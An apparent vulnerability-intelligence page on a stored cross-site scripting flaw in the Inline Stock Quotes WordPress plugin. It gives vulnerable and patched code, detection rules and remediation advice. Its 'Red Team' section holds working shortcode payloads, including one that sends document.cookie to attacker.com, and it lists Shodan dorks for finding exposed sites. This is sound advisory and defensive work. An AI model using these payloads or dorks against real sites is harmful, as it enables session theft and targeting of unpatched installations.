☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8688

CVE-2025-8688 Cross-Site Scripting in Inline stock quotes
📅 PUBLISHED: 2025-08-12 02:24 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8688 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Inline Stock Quotes WordPress plugin, affecting all versions up to and including 0.2. The flaw resides in the plugin's stock shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. When a user visits an affected page, the injected script executes, potentially leading to session hijacking, defacement, or data theft. The vulnerability is classified as a WordPress ecosystem issue, and no official patch has been released as of this report.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level access)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is elevated due to the low complexity and the ability for authenticated attackers to inject persistent scripts that execute in the context of other users, including administrators.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS within the WordPress plugin ecosystem. The plugin registers a shortcode (e.g., [stock]) that accepts user-supplied attributes such as symbol, name, or price. The plugin fails to properly sanitize these attributes before storing them in the WordPress database and later rendering them on the frontend. Specifically, the add_shortcode function does not apply wp_kses or esc_attr to the attribute values, allowing an attacker to inject JavaScript payloads.

Attack Flow:

  1. An attacker with Contributor-level access creates or edits a post/page.
  2. The attacker inserts the vulnerable shortcode with a malicious attribute, e.g., [stock symbol="<script>alert('XSS')</script>"].
  3. The plugin stores the shortcode in the post content without sanitization.
  4. When any user (including admins) views the post, the shortcode is processed, and the malicious script executes in the browser.

The vulnerability is specific to the WordPress plugin and does not involve Apache or Nginx misconfigurations.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.2):

add_shortcode('stock', 'inline_stock_quotes_shortcode');
function inline_stock_quotes_shortcode($atts) {
    $atts = shortcode_atts(array(
        'symbol' => '',
        'name' => '',
    ), $atts);
    // Directly outputting unsanitized attributes
    return '<div class="stock-quote" data-symbol="' . $atts['symbol'] . '">' . $atts['name'] . '</div>';
}

Patched Code (hypothetical fix):

add_shortcode('stock', 'inline_stock_quotes_shortcode');
function inline_stock_quotes_shortcode($atts) {
    $atts = shortcode_atts(array(
        'symbol' => '',
        'name' => '',
    ), $atts);
    // Sanitize and escape output
    $symbol = esc_attr($atts['symbol']);
    $name = esc_html($atts['name']);
    return '<div class="stock-quote" data-symbol="' . $symbol . '">' . $name . '</div>';
}

The fix involves using esc_attr() for HTML attributes and esc_html() for text content to prevent script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Inline Stock Quotes plugin version 0.2.
  • Contributor-level account credentials.

Steps:

  1. Log in as a Contributor.
  2. Create a new post or edit an existing one.
  3. Insert the following shortcode into the post content:
    [stock symbol="<script>alert(document.cookie)</script>"]
    
  4. Publish or save the post.
  5. When an admin or other user views the post, the script executes, displaying the user's cookies.

Advanced Payload:

[stock symbol="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"]

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts containing shortcodes with suspicious attributes (e.g., <script>, onerror, onload).
  • Use Web Application Firewall (WAF) rules to block XSS patterns in shortcode attributes.
  • Review WordPress logs for unusual shortcode usage.

Prevention:

  • Disable the plugin until a patch is applied.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Restrict Contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/inline-stock-quotes/inline-stock-quotes.php (version 0.2)
  • Shortcode pattern: [stock symbol="<script>...</script>"] or similar XSS payloads.
  • Network traffic: Outbound requests to attacker-controlled domains from WordPress admin or frontend pages.
  • Log entries: WordPress post revisions containing malicious shortcode attributes.

Detection Engineering

YARA Rule

rule CVE_2025_8688_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Inline Stock Quotes plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8688"
    strings:
        $shortcode = /\[stock\s+[^\]]*?(?:<script|<img\s+onerror|<svg\s+onload)/i
        $payload = /(?:<script|<img\s+onerror|<svg\s+onload)/i
    condition:
        $shortcode or $payload
}

Sigma Rule

title: CVE-2025-8688 Stored XSS via Inline Stock Quotes
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via the Inline Stock Quotes plugin shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-content/plugins/inline-stock-quotes/"
        http.body|contains|all:
            - "[stock"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8688 Stored XSS in Inline Stock Quotes"; flow:to_server,established; content:"/wp-content/plugins/inline-stock-quotes/"; http_uri; content:"[stock"; http_client_body; pcre:"/<script|<img\s+onerror|<svg\s+onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Review and clean any posts/pages containing malicious shortcodes.
  3. Reset passwords for all users who may have been affected.

Long-term Fix:

  • Apply the patched code (see Vulnerable vs. Patched Code section) if you have developer access.
  • Monitor the plugin's official repository for an update.
  • Implement a Web Application Firewall (WAF) with XSS rules.

Workarounds:

  • Use a security plugin (e.g., Wordfence) to block XSS attempts.
  • Restrict Contributor-level permissions to only trusted users.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Inline Stock Quotes"
http.html:"wp-content/plugins/inline-stock-quotes"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8688/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.